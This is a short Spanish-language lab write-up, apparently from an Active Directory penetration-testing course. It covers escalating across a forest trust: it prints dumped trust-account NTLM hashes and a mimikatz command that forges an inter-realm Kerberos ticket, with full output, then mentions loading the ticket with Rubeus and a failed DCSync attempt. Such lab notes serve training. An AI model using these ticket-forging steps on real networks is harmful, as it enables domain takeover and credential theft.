Learning Objective - 20

Across Forest using Trust Tickets

Requerimos el hash de la confianza entre forest.

SMB         172.16.2.1      445    DCORP-DC         mcorp$:1103:aad3b435b51404eeaad3b435b51404ee:f5b5c9f1ca76187393db1d3bb8ded94e:::
SMB         172.16.2.1      445    DCORP-DC         US$:1104:aad3b435b51404eeaad3b435b51404ee:f85385d81cc4936d37ff8f27813f43c6:::
SMB         172.16.2.1      445    DCORP-DC         ecorp$:1112:aad3b435b51404eeaad3b435b51404ee:4501e4c7f30e1cb3c9886f06a3ed1c6a:::

Creando un TGT entre forest.

C:\AD\Tools>mimikatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /rc4:4501e4c7f30e1cb3c9886f06a3ed1c6a /service:krbtgt /target:eurocorp.local /ticket:trust_forest_tkt.kirbi" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Dec 23 2022 16:49:51
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /rc4:4501e4c7f30e1cb3c9886f06a3ed1c6a /service:krbtgt /target:eurocorp.local /ticket:trust_forest_tkt.kirbi
User      : Administrator
Domain    : dollarcorp.moneycorp.local (DOLLARCORP)
SID       : S-1-5-21-719815819-3726368948-3917688648
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: 4501e4c7f30e1cb3c9886f06a3ed1c6a - rc4_hmac_nt
Service   : krbtgt
Target    : eurocorp.local
Lifetime  : 3/4/2024 2:30:48 AM ; 3/2/2034 2:30:48 AM ; 3/2/2034 2:30:48 AM
-> Ticket : trust_forest_tkt.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

mimikatz(commandline) # exit
Bye!

Luego cargamos el ticket usando rubeus.

Ahora podemos consultar al dc de eurocorp leer los archivos y obtener el contenido de secret.txt

DCSync

Si quisieramos hacer DCSync, probamos con el protocolo LDAP al cargar el ticket.

No funciona y no se porque exactamente, debe estar limitado a ciertas consultas.

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